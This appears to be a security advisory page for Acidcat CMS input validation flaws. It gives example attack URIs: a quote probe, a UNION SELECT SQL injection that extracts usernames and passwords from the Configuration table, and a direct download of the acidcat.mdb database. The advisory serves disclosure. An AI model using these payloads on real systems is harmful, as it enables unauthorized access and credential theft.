• info
• discussion
• exploit
• solution
• references

Acidcat CMS Multiple Input Validation Vulnerabilities

No exploit is required.

Example URI have been provided:

http://www.example.com/acidcat/default.asp?ID=1'

http://www.example.com/acidcat/default.asp?ID=26 union select 1,username,3,password,5,6 from Configuration

http://www.example.com/acidcat/databases/acidcat.mdb